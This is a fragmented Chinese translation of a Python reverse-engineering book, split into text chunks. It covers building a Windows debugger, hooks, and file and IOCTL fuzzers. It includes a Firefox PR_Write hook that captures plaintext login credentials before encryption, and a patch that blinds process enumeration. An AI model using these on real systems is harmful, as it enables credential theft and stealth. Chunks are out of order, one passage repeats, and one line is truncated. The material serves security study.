main(args): imm = Debugger() deviceiocontrol = imm.getAddress( \"kernel32.DeviceIoControl\" ) ioctl_hooker = ioctl_hook() ioctl_hooker.add( \"%08x\" % deviceiocontrol, deviceiocontrol ) return \"[*] IOCTL Fuzzer Ready for Action!\" 这里没有用到任何新的 Immunity 知识，只是继承了 LogBpHook 类，做了很小的扩展， 这一切都在第五章做了详细的介绍。代码非常清晰明了，显示获得传递给驱动的 IOCT 代 码，输入缓冲区长度，输入缓冲区位置。接着通过对输入数据的变形，创建一个包含了随即 字符的新缓冲区，长度和输入缓冲区一样。之后将新缓冲区的数据写入原缓冲区，保存测试 样例。最后把控制权交还给用户程序。 记得把 ioctl_fuzzer.py 放到 PyCommands 目录下。这样我们就能使用 ioctl_fuzzer 命令 fuzz 任何使用 IOCTLs 了的程序（嗅探器，防火墙，或者杀毒软件） 。表 10-1 是 Wireshark 的 fuzz 结果。 ***** IOCTL Code: 0x00120003 Buffer Size: 36 Original Buffer: 0000000000000000000100000001000000000000000000000000000000000000 Mutated Buffer: a4100338ff334753457078100f78bde62cdc872747482a51375db5aa2255c46e ***** ***** IOCTL Code: 0x00001ef0 Buffer Size: 4 Original Buffer: 28010000 Mutated Buffer: ab12d7e6 ***** Listing 10-1:"},
    {"text": "序 yp s Type _______________________________________________________________________________ char 1-character string c_char wchar_t 1-character Unicode string c_wchar char int/long c_byte char int/long c_ubyte short int/long c_short unsigned short int/long c_ushort int int/long C_int unsigned int int/long c_uint long int/long c_long unsigned long int/long c_ulong long long int/long c_longlong unsigned long long int/long c_ulonglong float float c_float double float c_double char * (NULL terminated) string or none c_char_p wchar_t * (NULL terminated) unicode or none c_wchar_p void * int/long or none c_void_p Listing 1-1:Python 与 C 数据类型映射 请把这章表放到随时很拿到的地方。ctypes 类型初始化的值，大小和类型必须符合定义 的要求。看下面的例子。 _______________________________________________________________________________ C:\\Python25> python.exe Python 2.5 (r25:51908, Sep 19 2006, 09:52:17) [MSC v.1310 32 bit (Intel)] on win32 Type \"help\", \"copyright\", \"credits\" or \"license\" for more information. >>> from ctypes import * >>> c_int() c_long(0) >>> c_char_p(\"Hello world!\") c_char_p('Hello world!') >>> c_ushort(-5) c_ushort(65531) >>>c_short(-5) c_short(-5) >>> seitz = c_char_p(\"loves the python\") >>> print seitz c_char_p('loves the python') >>> print seitz.value loves the python >>> exit() _______________________________________________________________________________ 最 后 一 个 例 子 将 包 含 了 \"loves the python\" 的 字 符 串 指 针 赋 值 给 变 量 seitz ， 并 通 过 seitz.value 方法间接引用了指针的内容， 1.3.5 定义结构和联合 结构和联合是非常重要的数据类型，被大量的适用于 WIN32 的 API 和 Linux 的 libc 中。 一个结构变量就是一组简单变量的集合 (所有变量都占用空间)些结构内的变量在类型上没 有限制，可以通过点加变量名来访问。比如 beer_recipe.amt_barley，就是访问 beer_recipe 结 构中的 amt_barley 变量。 序 In C int python_rocks(reason_one, reason_two, reason_three); In x86 Assembly push reason_three push reason_two push reason_one call python_rocks add esp, 12 从上面的汇编代码中，可以清晰的看出参数的传递顺序，最后一行，栈指针增加了 12 个字节(三个参数传递个函数，每个被压入栈的指针都占 4 个字节，共 12 个)， 使得 函数调用之后的栈指针恢复到调用前的位置。 下面是个 stdcall 调用约定的了例子，用于 Win32 API。"},
    {"text": "举个例子： _______________________________________________________________________________ MOV EAX, EBX _______________________________________________________________________________ 这个指令告诉 CPU 把存储在 EBX 寄存器里的东西放到 EAX 寄存器里。"},
    {"text": "前面的汇编指令转化成操作码 就是下面这样： _______________________________________________________________________________ 8BC3 _______________________________________________________________________________ 如你说见，幕后正在进行的操作相当的令人困惑，但这确实是 CPU 的语言。"},
    {"text": "如果我们先前讲解的指令发生在 0x4433221 这个地址，一般是这样显示的： _______________________________________________________________________________ 0x44332211: 8BC3 MOV EAX, EBX _______________________________________________________________________________ 这里显示了地址，操作码，和高级的汇编指令。"},
    {"text": "为了在这个地址设置断点，暂停 CPU， 我们将从 2 个字节的 8BC3 操作码中换出一个单字节的操作码。 这个单字节的操作码也就 是 3 号中断指令（INT 3），一条能让 CPU 暂停的指令。 3 号中断转换成操作码就是 0xCC。 这里是设置断点前和设置断点后的对比： 在断点被设置前的操作码 _______________________________________________________________________________ 0x44332211: 8BC3 MOV EAX, EBX _______________________________________________________________________________ 断点被设置后的操作码 _______________________________________________________________________________ 0x44332211: CCC3 MOV EAX, EBX _______________________________________________________________________________ 很明显原操作码中的 8B 被替换成了 CC。 当 CPU 执行到这个操作码的时候，CPU 暂停， 并触发一个 INT3(3 号中断)事件。"},
    {"text": "调试器继续判断这个 发生中断事件的地址(通过 EIP 指针，指令指针)是不是自己先前设置断点的地址。 如果在调 试器内部的断点列表中找到了这个地址，就将设置断点前存储起来的操作码写回到目标地 址，这样进程被调试器恢复后就能正常的执行。"},
    {"text": "一次性断点意味着，一 旦断点被触发（命中）一次，它就会从内部中断列表清除掉。 一个持久性断点在 CPU 触发 后会重新存储在内部的断点列表里，以后每次运行到这里还会中断。"},
    {"text": "CRC 是一种校验数据是否被改变的函数，它被广 泛的应用于文件，内存，文本，网络数据包和任何你想监视数据改变的地方。 CRC 将一定 范围内的数据进行 hash（散列）计算，在逆向工程中一般是对进程的内存数据进行运算， 然后将 hash 值和此前原始的 hash 值进行比较，以判断数据是否被改变。"},
    {"text": "序 8.3.1 Code Coverage Code coverage 是一个度量，通过统计测试目标程序的过程中，执行了函数。Fuzzing 专家 Charlie Miller 通过经验证明，寻找到的 bug 数量和 Code coverage 的增长成正比。那 我们怎么证明呢！最简单的方法就是，在你 fuzz 目标程序的时候，使用调试器在目标进程 上的说有函数上设置断点，然后使用不同的测试案例去 fuzz 目标进程，根据找到 bug 和击 中的函数数量，你就会知道自己的 fuzz 的效率。还有更多的使用 Code coverage 的复杂的例 子，你可以将它们的技术加入你的 file fuzzer。"},
    {"text": "有一点很重要，我们本质上是在 深入的学习 PyDbg(Pedram Amini’s )的使用，这是目前能找到的最简洁的 Windows 平台下 的 Python 调试器 。 拜 Pedram 所赐，我尽可能用 PyDbg 完成了我的代码（包括函数名，变 量，等等），同时你也可以更容易的用 PyDbg 实现你的调试器。"},
    {"text": "为了对一个进程进行调试，你首先必须用一些方法把调试器和进程连接起来。 所以，我 们的调试器要不然就是装载一个可执行程序然后运行它，要不然就是动态的附加到一个运行 的进程。"},
    {"text": "一个 CreateProcessA()调用看起来像这样： BOOL WINAPI CreateProcessA( LPCSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation ); 初看这个调用相当恐怖，不过，在逆向工程中我们必须把大的部分分解成小的部分以便 理 解 。"},
    {"text": "最 后 两 个 参 数 分 别 分 别 指 向 2 个 结 构 (STARTUPINFO and PROCESS_INFORMATION) ，不仅包含了进程如何启动，以及启动后的许多重要信息 。 （ lpStartupInfo ： STARTUPINFO 结 构 ， 用 于 在 创 建 子 进 程 时 设 置 各 种 属 性 ， lpProcessInformation：PROCESS_INFORMATION 结构，用来在进程创建后接收相关信息 ， 该结构由系统填写。"},
    {"text": "另 外 ， 把 所 有 的 结 构 ， 联 合 ， 常 量 放 到 my_debugger_defines.py 方便以后维护。 # my_debugger_defines.py from ctypes import * # Let's map the Microsoft types to ctypes for clarity WORD = c_ushort DWORD = c_ulong LPBYTE = POINTER(c_ubyte) LPTSTR = POINTER(c_char) HANDLE = c_void_p # Constants DEBUG_PROCESS = 0x00000001 CREATE_NEW_CONSOLE = 0x00000010 # Structures for CreateProcessA() function class STARTUPINFO(Structure): _fields_ = [ (\"cb\", DWORD), (\"lpReserved\", LPTSTR), (\"lpDesktop\", LPTSTR), (\"lpTitle\", LPTSTR), (\"dwX\", DWORD), (\"dwY\", DWORD), (\"dwXSize\", DWORD), (\"dwYSize\", DWORD), (\"dwXCountChars\", DWORD), (\"dwYCountChars\", DWORD), (\"dwFillAttribute\",DWORD), (\"dwFlags\", DWORD), (\"wShowWindow\", WORD), (\"cbReserved2\", WORD), (\"lpReserved2\", LPBYTE), (\"hStdInput\", HANDLE), (\"hStdOutput\", HANDLE), (\"hStdError\", HANDLE), ] class PROCESS_INFORMATION(Structure): _fields_ = [ (\"hProcess\", HANDLE), (\"hThread\", HANDLE), (\"dwProcessId\", DWORD), (\"dwThreadId\", DWORD), ] # my_debugger.py from ctypes import * from my_debugger_defines import * kernel32 = windll.kernel32 class debugger(): def __init__(self): pass def load(self,path_to_exe): # dwCreation flag determines how to create the process # set creation_flags = CREATE_NEW_CONSOLE if you want # to see the calculator GUI creation_flags = DEBUG_PROCESS # instantiate the structs startupinfo = STARTUPINFO() process_information = PROCESS_INFORMATION() # The following two options allow the started process # to be shown as a separate window. This also illustrates # how different settings in the STARTUPINFO struct can affect # the debuggee. startupinfo.dwFlags = 0x1 startupinfo.wShowWindow = 0x0 # We then initialize the cb variable in the STARTUPINFO struct # which is just the size of the struct itself startupinfo.cb = sizeof(startupinfo) if kernel32.CreateProcessA(path_to_exe, None, None, None, None, creation_flags, None, None, byref(startupinfo), byref(process_information)): print \"[*] We have successfully launched the process!\" print \"[*] PID: %d\" % process_information.dwProcessId else: print \"[*] Error: 0x%08x.\" % kernel32.GetLastError() 现在我们将构造一个简短的测试模块确定一下一切都能正常工作。 调用 my_test.py，保 证前面的文件都在同一个目录下。 #my_test.py import my_debugger debugger = my_debugger.debugger() debugger.load(\"C:\\\\WINDOWS\\\\system32\\\\calc.exe\") 如果你是通过命令行或者 IDE 手动输入上面的代码，将会新产生一个进程也就是你键 入程序名，然后返回进程 ID（PID），最后结束。"},
    {"text": "为了附加到指定的进程，就必须先得到它的句柄。 许多后面将用到的函数都需要句柄做 参数，同时我们也能在调试之前确认是否有权限调试它（如果附加都不行，就别提调试了）。"},
    {"text": "这个任务由 OpenProcess()完成，此函数由 kernel32.dll 库倒出，原型如下： HANDLE WINAPI OpenProcess( DWORD dwDesiredAccess, BOOL bInheritHandle DWORD dwProcessId ); dwDesiredAccess 参数决定了我们希望对将要打开的进程拥有什么样的权限（当然是 越 大 越 好 root is hack ）。"},
    {"text": "函数原型如下： BOOL WINAPI WaitForDebugEvent( LPDEBUG_EVENT lpDebugEvent, DWORD dwMilliseconds ); 第一个参数指向 DEBUG_EVENT 结构，这个结构描述了一个调试事件。 第二个参数设 置成 INFINITE（无限等待），这样 WaitForDebugEvent() 就不用返回，一直等待直到一个事 件产生。"},
    {"text": "当 处 理 函 数 完 成 了 操 作 ， 我 们 希 望 进 程 继 续 执 行 用 ， 这 时 候 再 调 用 ContinueDebugEvent()。 原型如下： BOOL WINAPI ContinueDebugEvent( DWORD dwProcessId, DWORD dwThreadId, DWORD dwContinueStatus ); dwProcessId 和 dwThreadId 参数由 DEBUG_EVENT 结构里的数据填充，当调试器捕捉 到调试事件的时候，也就是 WaitForDebugEvent()成功执行的时候，进程 ID 和线程 ID 就以 及初始化好了。 dwContinueStatus 参数告诉进程是继续执行(DBG_CONTINUE)，还是产生异 常(DBG_EXCEPTION_NOT_HANDLED)。"},
    {"text": "打开 my_debugger.py 键入以下代码。 提示：所有需要的结构,联合和常量都定义在了 debugger_defines.py 文件里，完整的代码可 以从 http://www.nostarch.com/ghpython.htm 下载。 #my_debugger.py from ctypes import * from my_debugger_defines import * kernel32 = windll.kernel32 class debugger(): def __init__(self): self.h_process = None self.pid = None self.debugger_active = False def load(self,path_to_exe): ... print \"[*] We have successfully launched the process!\" print \"[*] PID: %d\" % process_information.dwProcessId # Obtain a valid handle to the newly created process # and store it for future access self.h_process = self.open_process(process_information.dwProcessId) ... def open_process(self,pid): h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS,pid,False) return h_process def attach(self,pid): self.h_process = self.open_process(pid) # We attempt to attach to the process # if this fails we exit the call if kernel32.DebugActiveProcess(pid): self.debugger_active = True self.pid = int(pid) self.run() else: print \"[*] Unable to attach to the process.\" def run(self): # Now we have to poll the debuggee for # debugging events while self.debugger_active == True: self.get_debug_event() def get_debug_event(self): debug_event = DEBUG_EVENT() continue_status= DBG_CONTINUE if kernel32.WaitForDebugEvent(byref(debug_event),INFINITE): # We aren't going to build any event handlers # just yet. Let's just resume the process for now. raw_input(\"Press a key to continue...\") self.debugger_active = False kernel32.ContinueDebugEvent( \\ debug_event.dwProcessId, \\ debug_event.dwThreadId, \\ continue_status ) def detach(self): if kernel32.DebugActiveProcessStop(self.pid): print \"[*] Finished debugging. Exiting...\" return True else: print \"There was an error\" return False 现在让我们修改下测试套件以便使用新创建的函数。 #my_test.py import my_debugger debugger = my_debugger.debugger() pid = raw_input(\"Enter the PID of the process to attach to: \") debugger.attach(int(pid)) debugger.detach() 按以下的步骤进行测试（windows 下）： 1. 选择 开始->运行->所有程序->附件->计算器 2. 右击桌面低端的任务栏，从退出的菜单中选择任务管理器。"},
    {"text": "如果一切都如描绘的一样正常工作，把下面两行从 my_debugger.py 中注释掉： # raw_input(\"Press any key to continue...\") # self.debugger_active = False 现在我们已经讲解了获取进程句柄的基础知识，以及如何创建一个进程，附加一个运行 的进程，接下来让我们给调试器加入更多高级的功能。"},
    {"text": "要实现这个目的，首先要获取被调试目标内部的线程句柄，这个功能由 OpenThread()实现. 函数原型如下: HANDLE WINAPI OpenThread( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId ); 这看起来非常像 OpenProcess()的姐妹函数，除了这次是用线程标识符（thread identifier TID） 提到了进程标识符（PID）。 我们必须先获得一个执行着的程序内部所有线程的一个列表，然后选择我们想要的，再 用 OpenThread() 获 取 它 的 句 柄 。"},
    {"text": "序 2.4 断点 当我们需要让被调试程序暂停的时候就需要用到断点。通过暂停进程，我们能观察 变量，堆栈参数以及内存数据，并且记录他们。断点有非常多的好处，当你调试进程的时候 这些功能会让你觉得很舒爽。断点主要分成三种：软件断点，硬件断点，内存断点。他们有 非常相似的工作方式，但实现的手段却各不相同。"},
    {"text": "代码如下： process32first = imm.getAddress(\"kernel32.Process32FirstW\") process32next = imm.getAddress(\"kernel32.Process32NextW\") function_list = [ process32first, process32next ] patch_bytes = imm.Assemble( \"SUB EAX, EAX\\nRET\" ) for address in function_list: opcode = imm.disasmForward( address, nlines = 10 ) imm.writeMemory( opcode.address, patch_bytes ) 首先获取两个函数的地址，将它们放到列表中。"},
    {"text": "函数原型： add( pydbg, address, num_arguments, func_entry_hook, func_exit_hook ) 第一个参数设置成一个有效的 pydbg 目标，address 参数设置成要安装 hook 的地址， num_arguments 设置成传递给 hook 的参数。"},
    {"text": "func_entry_hook 和 func_exit_hook 都是回调函数。 func_entry_hook 是 hook 被触发后立刻调用的，func_exit_hook 是被 hook 的函数将要退出之 前执行的。 entry hook 用于得到函数的参数，exit hook 用于捕捉函数的返回值。"},
    {"text": "def entry_hook( dbg, args ): # Hook code here return DBG_CONTINUE dbg 参数设置成有效的 pydbg 目标，args 接收一个列表，包含 hook 触发时接收到的参 数。 exit hook 回调函数有一点不同就是多了个 ret 参数，包含了函数的返回值(EAX 的值): def exit_hook( dbg, args, ret ): # Hook code here return DBG_CONTINUE 接下用实例看看如何用 entry hook 嗅探加密前的数据。 #firefox_hook.py from pydbg import * from pydbg.defines import * import utils import sys dbg = pydbg() found_firefox = False # Let's set a global pattern that we can make the hook # search for pattern = \"password\" # This is our entry hook callback function # the argument we are interested in is args[1] def ssl_sniff( dbg, args ): # Now we read out the memory pointed to by the second argument # it is stored as an ASCII string, so we'll loop on a read until # we reach a NULL byte buffer = \"\" offset = 0 while 1: byte = dbg.read_process_memory( args[1] + offset, 1 ) if byte != \"\\x00\": buffer += byte offset += 1 continue else: break if pattern in buffer: print \"Pre-Encrypted: %s\" % buffer return DBG_CONTINUE # Quick and dirty process enumeration to find firefox.exe for (pid, name) in dbg.enumerate_processes(): if name.lower() == \"firefox.exe\": found_firefox = True hooks = utils.hook_container() dbg.attach(pid) print \"[*] Attaching to firefox.exe with PID: %d\" % pid # Resolve the function address hook_address = dbg.func_resolve_debuggee(\"nspr4.dll\",\"PR_Wri if hook_address: # Add the hook to the container. We aren't interested # in using an exit callback, so we set it to None. hooks.add( dbg, hook_address, 2, ssl_sniff, None ) print \"[*] nspr4.PR_Write hooked at: 0x%08x\" % hook_address break else: print \"[*] Error: Couldn't resolve hook address.\" sys.exit(-1) if found_firefox: print \"[*] Hooks set, continuing process.\" dbg.run() else: print \"[*] Error: Couldn't find the firefox.exe process.\" sys.exit(-1) 代码简洁明了:在 PR_Write 上设置 hook，当 hook 被触发的时候，我们尝试读出第二个 参数指向的字符串。"},
    {"text": "重复之前的步骤，登录 https://www.openrce.org/，将看到输出如下： [*] Attaching to firefox.exe with PID: 1344 [*] nspr4.PR_Write hooked at: 0x601a2760 [*] Hooks set, continuing process. Pre-Encrypted: username=test&password=test&remember_me=on Pre-Encrypted: username=test&password=test&remember_me=on Pre-Encrypted: username=jms&password=yeahright!&remember_me=on Listing 6-1: How cool is that! 我们能看到未加密前的用户名密码 我们已经看到了 soft hook 的轻量级和强大能力。"},
    {"text": "序 W ndows _______________________________________________________________________________ from ctypes import * msvcrt = cdll.msvcrt message_string = \"Hello world!\\n\" msvcrt.printf(\"Testing: %s\", message_string) _______________________________________________________________________________ 输出结果见如下： _______________________________________________________________________________ C:\\Python25> python chapter1-printf.py Testing: Hello world! C:\\Python25> _______________________________________________________________________________ Linux 下会有略微不同： chapter1-printf.py Code on Linux _______________________________________________________________________________ from ctypes import * libc = CDLL(\"libc.so.6\") message_string = \"Hello world!\\n\" libc.printf(\"Testing: %s\", message_string) _______________________________________________________________________________ 输出结果如下: _______________________________________________________________________________ # python /root/chapter1-printf.py Testing: Hello world! # _______________________________________________________________________________ 可以看到 ctypes 调用动态链接库中的函数有多简单。 序 2.3 调试事件 调试器在调试程序的时候会一直循环等待，直到检测到一个调试事件的发生。当调试事 件发生的时候，就会调用一个与之对应的事件处理函数。 处理函数被调用的时候，调试器会暂停程序等待下一步的指示。以下的这些事件是一个 调试器必须能够捕捉到的（也叫做陷入）: · 断点触发 · 内存违例（也叫做访问违例或者段错误） · 程序异常 每个操作系统都使用不同的方法将这些事件传递给调试器，这些留到操作系统章节 详细介绍 。部分的操作系统，能捕捉（陷入）更多的事件，比如在线程或者进程的创建以 及动态链接库的加载的时候。 一个优秀的调试器必须是可定制脚本的，能够自定义事件处理函数从而对程序进 行自动化调试。举个例子，一个内存访问违例产生的缓冲区溢出，对于黑客来说相当的有趣。 如果在平时正常的调试中你就必须和调试器交互，一步一步的收集信息。但是当你使用定制 好的脚本操作调试器的时候，它就能够建立起相对应的事件处理函数，并自动化的收集所有 相关的信息。这不仅仅节省了时间，还让我们更全面的控制整个调试过程。"},
    {"text": "序 File Fuzzer File format vulnerabilitie 文件格式化漏洞已经渐渐的成为了客户端攻击的流行方式，而 我们最感兴趣的就是找出文件格式化分析时出现的漏洞。"},
    {"text": "#file_fuzzer.py from pydbg import * from pydbg.defines import * import utils import random import sys import struct import threading import os import shutil import time import getopt class file_fuzzer: def __init__(self, exe_path, ext, notify): self.exe_path = exe_path self.ext = ext self.notify_crash = notify self.orig_file = None self.mutated_file = None self.iteration = 0 self.exe_path = exe_path self.orig_file = None self.mutated_file = None self.iteration = 0 self.crash = None self.send_notify = False self.pid = None self.in_accessv_handler = False self.dbg = None self.running = False self.ready = False # Optional self.smtpserver = 'mail.nostarch.com' self.recipients = ['jms@bughunter.ca',] self.sender = 'jms@bughunter.ca' self.test_cases = [ \"%s%n%s%n%s%n\", \"\\xff\", \"\\x00\", \"A\" ] def file_picker( self ): file_list = os.listdir(\"examples/\") list_length = len(file_list) file = file_list[random.randint(0, list_length-1)] shutil.copy(\"examples\\\\%s\" % file,\"test.%s\" % self.ext) return file 类框架定义了一些全局变量，用于跟踪记录文件的基础信息，这些文件将会在变形后加 入测试例。"},
    {"text": "#file_fuzzer.py ... def fuzz( self ): while 1: if not self.running: #○ 1 # We first snag a file for mutation self.test_file = self.file_picker() self.mutate_file() # Start up the debugger thread pydbg_thread = threading.Thread(target=self.start_debugger) pydbg_thread.setDaemon(0) pydbg_thread.start() while self.pid == None: time.sleep(1) # Start up the monitoring thread monitor_thread = threading.Thread (target=self.monitor_debugger) monitor_thread.setDaemon(0) monitor_thread.start() self.iteration += 1 else: time.sleep(1) # Our primary debugger thread that the application # runs under def start_debugger(self): print \"[*] Starting debugger for iteration: %d\" % self.iteration self.running = True self.dbg = pydbg() self.dbg.set_callback(EXCEPTION_ACCESS_VIOLATION,self.check_accessv) pid = self.dbg.load(self.exe_path,\"test.%s\" % self.ext) self.pid = self.dbg.pid self.dbg.run() # Our access violation handler that traps the crash # information and stores it def check_accessv(self,dbg): if dbg.dbg.u.Exception.dwFirstChance: return DBG_CONTINUE print \"[*] Woot! Handling an access violation!\" self.in_accessv_handler = True crash_bin = utils.crash_binning.crash_binning() crash_bin.record_crash(dbg) self.crash = crash_bin.crash_synopsis() # Write out the crash informations crash_fd = open(\"crashes\\\\crash-%d\" % self.iteration,\"w\") crash_fd.write(self.crash) # Now back up the files shutil.copy(\"test.%s\" % self.ext,\"crashes\\\\%d.%s\" % (self.iteration,self.ext)) shutil.copy(\"examples\\\\%s\" % self.test_file,\"crashes\\\\%d_orig.%s\" % (self.iteration,self.ext)) self.dbg.terminate_process() self.in_accessv_handler = False self.running = False return DBG_EXCEPTION_NOT_HANDLED # This is our monitoring function that allows the application # to run for a few seconds and then it terminates it def monitor_debugger(self): counter = 0 print \"[*] Monitor thread for pid: %d waiting.\" % self.pid, while counter < 3: time.sleep(1) print counter, counter += 1 if self.in_accessv_handler != True: time.sleep(1) self.dbg.terminate_process() self.pid = None self.running = False else: print \"[*] The access violation handler is doing its business. Waiting.\" while self.running: time.sleep(1) # Our emailing routine to ship out crash information def notify(self): crash_message = \"From:%s\\r\\n\\r\\nTo:\\r\\n\\r\\nIteration: %d\\n\\nOutput:\\n\\n %s\" % (self.sender, self.iteration, self.crash) session = smtplib.SMTP(smtpserver) session.sendmail(sender, recipients, crash_message) session.quit() return 我们已经有了个比较完整的流程，能够顺利的完成 fuzz 了，让我们简单的看看各个函 数的作用。"},
    {"text": "#file_fuzzer.py ... def mutate_file( self ): # Pull the contents of the file into a buffer fd = open(\"test.%s\" % self.ext, \"rb\") stream = fd.read() fd.close() # The fuzzing meat and potatoes, really simple # Take a random test case and apply it to a random position # in the file test_case = self.test_cases[random.randint(0,len(self.test_cases)-1)] stream_length = len(stream) rand_offset = random.randint(0, stream_length - 1 ) rand_len = random.randint(1, 1000) # Now take the test case and repeat it test_case = test_case * rand_len # Apply it to the buffer, we are just # splicing in our fuzz data fuzz_file = stream[0:rand_offset] fuzz_file += str(test_case) fuzz_file += stream[rand_offset:] # Write out the file fd = open(\"test.%s\" % self.ext, \"wb\") fd.write( fuzz_file ) fd.close() return 这是一个基础的变形函数。"},
    {"text": "#file_fuzzer.py ... def print_usage(): print \"[*]\" print \"[*] file_fuzzer.py -e <Executable Path> -x <File Extension>\" print \"[*]\" sys.exit(0) if __name__ == \"__main__\": print \"[*] Generic File Fuzzer.\" # This is the path to the document parser # and the filename extension to use try: opts, argo = getopt.getopt(sys.argv[1:],\"e:x:n\") except getopt.GetoptError: print_usage() exe_path = None ext = None notify = False for o,a in opts: if o == \"-e\": exe_path = a elif o == \"-x\": ext = a elif o == \"-n\": notify = True if exe_path is not None and ext is not None: fuzzer = file_fuzzer( exe_path, ext, notify ) fuzzer.fuzz() else: print_usage() 现在我们的 file_fuzzer.py 脚本已经能够接收到命令行参数了。"},
    {"text": "在启动 file_fuzzer.py 脚本之 前，需要在脚本当前目录下新建两个目录 examples 和 crashes 。 然后在 examples 目录下存 放几个以.txt 结尾的文件，接着使用如下命令启动脚本。"},
    {"text": "#ioctl_dump.py import pickle import driverlib from immlib import * def main( args ): ioctl_list = [] device_list = [] imm = Debugger() driver = driverlib.Driver() # Grab the list of IOCTL codes and device names ioctl_list = driver.getIOCTLCodes() if not len(ioctl_list): return \"[*] ERROR! Couldn't find any IOCTL codes.\" device_list = driver.getDeviceNames() if not len(device_list): return \"[*] ERROR! Couldn't find any device names.\" # Now create a keyed dictionary and pickle it to a file master_list = {} master_list[\"ioctl_list\"] = ioctl_list master_list[\"device_list\"] = device_list filename = \"%s.fuzz\" % imm.getDebuggedName() fd = open( filename, \"wb\" ) pickle.dump( master_list, fd ) fd.close() return \"[*] SUCCESS! Saved IOCTL codes and device names to %s\" % filename 这个 PyCommand 相当简单：检索 IOCTL 代码列表，检索设备名列表，将他们存到字 典中，然后保存到文件里。"},
    {"text": "#my_ioctl_fuzzer.py import pickle import sys import random from ctypes import * kernel32 = windll.kernel32 # Defines for Win32 API Calls GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 0x3 # Open the pickle and retrieve the dictionary fd = open(sys.argv[1], \"rb\") master_list = pickle.load(fd) ioctl_list = master_list[\"ioctl_list\"] device_list = master_list[\"device_list\"] fd.close() # Now test that we can retrieve valid handles to all # device names, any that don't pass we remove from our test cases valid_devices = [] for device_name in device_list: # Make sure the device is accessed properly device_file = u\"\\\\\\\\.\\\\%s\" % device_name.split(\"\\\\\")[::-1][0] print \"[*] Testing for device: %s\" % device_file driver_handle = kernel32.CreateFileW(device_file,GENERIC_READGENERIC_WRITE,0,None,OPEN_EXISTI NG,0,None) if driver_handle: print \"[*] Success! %s is a valid device!\" if device_file not in valid_devices: valid_devices.append( device_file ) kernel32.CloseHandle( driver_handle ) else: print \"[*] Failed! %s NOT a valid device.\" if not len(valid_devices): print \"[*] No valid devices found. Exiting...\" sys.exit(0) # Now let's begin feeding the driver test cases until we can't be # it anymore! CTRL-C to exit the loop and stop fuzzing while 1: # Open the log file first fd = open(\"my_ioctl_fuzzer.log\",\"a\") # Pick a random device name current_device = valid_devices[random.randint(0, len(valid_devices)-1 )] fd.write(\"[*] Fuzzing: %s\\n\" % current_device) # Pick a random IOCTL code current_ioctl = ioctl_list[random.randint(0, len(ioctl_list)-1)] fd.write(\"[*] With IOCTL: 0x%08x\\n\" % current_ioctl) # Choose a random length current_length = random.randint(0, 10000) fd.write(\"[*] Buffer length: %d\\n\" % current_length) # Let's test with a buffer of repeating As # Feel free to create your own test cases here in_buffer = \"A\" * current_length # Give the IOCTL run an out_buffer out_buf = (c_char * current_length)() bytes_returned = c_ulong(current_length) # Obtain a handle driver_handle = kernel32.CreateFileW(device_file, GENERIC_READ|GENERIC_WRITE,0,None,OPEN_EXISTING,0,None) fd.write(\"!!FUZZ!!\\n\") # Run the test case kernel32.DeviceIoControl( driver_handle, current_ioctl, in_buffer, current_length, byref(out_buf), current_length, byref(bytes_returned), None ) fd.write( \"[*] Test case finished. %d bytes returned.\\n\\n\" % bytes_returned.value ) # Close the handle and carry on! kernel32.CloseHandle( driver_handle ) fd.close() 先从 pickle 文件中取出包含 IOCTL 代码和设备名的字典。"},
    {"text": "[*] Fuzzing: \\\\.\\unnamed [*] With IOCTL: 0x84002019 [*] Buffer length: 3277 !!FUZZ!! [*] Test case finished. 3277 bytes returned. [*] Fuzzing: \\\\.\\unnamed [*] With IOCTL: 0x84002020 [*] Buffer length: 2137 !!FUZZ!! [*] Test case finished. 1 bytes returned. [*] Fuzzing: \\\\.\\unnamed [*] With IOCTL: 0x84002016 [*] Buffer length: 1097 !!FUZZ!! [*] Test case finished. 1097 bytes returned. [*] Fuzzing: \\\\.\\unnamed [*] With IOCTL: 0x8400201c [*] Buffer length: 9366 !!FUZZ!! Listing 10-7: 一次成功的 fuzzing 记录 能够很清楚的看到，上一个 IOCTL，0x8400201c 引发了系统崩溃，因为这是最后一条 记录。"},
    {"text": "序 W rFTPD 在我们已经学会了如何使用 Sulley primitives 创建 protocol description(协议说明)之后。 现在可以拿个东西试试手了。这次的目标就是 WarFTPD 1.65。问题出在 USER 和 PASS 命 令身上，向他们传递过长的数据，就会引发栈溢出。这种漏洞很典型，出现问题的地方结构 也 很 清 晰 ， 作 为 入 手 的 case 再 好 不 过 。 先 从 ftp://ftp.jgaa.com/pub/products/Windows/WarFtpDaemon/1.6_Series/ward165.exe 下载程序。在 当前目录解压子之后，直接运行 warftpd.exe 就能启动 FTP 服务了。在使用 Sulley 书写协议 说明之前，让我们先了解下 FTP 协议的工作流程。 9.3.1 序 In C int python_rocks(reason_one, reason_two, reason_three); In x86 Assembly push reason_three push reason_two push reason_one call python_rocks add esp, 12 从上面的汇编代码中，可以清晰的看出参数的传递顺序，最后一行，栈指针增加了 12 个字节(三个参数传递个函数，每个被压入栈的指针都占 4 个字节，共 12 个)， 使得 函数调用之后的栈指针恢复到调用前的位置。 下面是个 stdcall 调用约定的了例子，用于 Win32 API。 序 3.2.1 枚举线程 为了得到一个进程里寄存器的状态，我们必须枚举进程内部所有正在运行的线程。线程 是进程中真正的执行体（大部分活都是线程干的），即使一个程序不是多线程的，它也至少 有一个线程，主线程。实现这一功能的是一个强大的函数 CreateToolhelp32Snapshot()，它由 kernel32.dll 导出。这个函数能枚举出一个进程内部所有线程的列表，以加载的模块（DLLs） 的列表，以及进程所拥有的堆的列表。函数原型如下： HANDLE WINAPI CreateToolhelp32Snapshot( DWORD dwFlags, DWORD th32ProcessID ); dwFlags 参数标志了我们需要收集的数据类型（线程，进程，模块，或者堆 ） 。这里我 们把它设置成 TH32CS_SNAPTHREAD，也就是 0x00000004，表示我们要搜集快照 snapshot 中 所 有 已 经 注 册 了 的 线 程 。 th32ProcessID 传 入 我 们 要 快 照 的 进 程 ， 不 过 它 只 对 TH32CS_SNAPMODULE, TH32CS_SNAPMODULE32, TH32CS_SNAPHEAPLIST, and 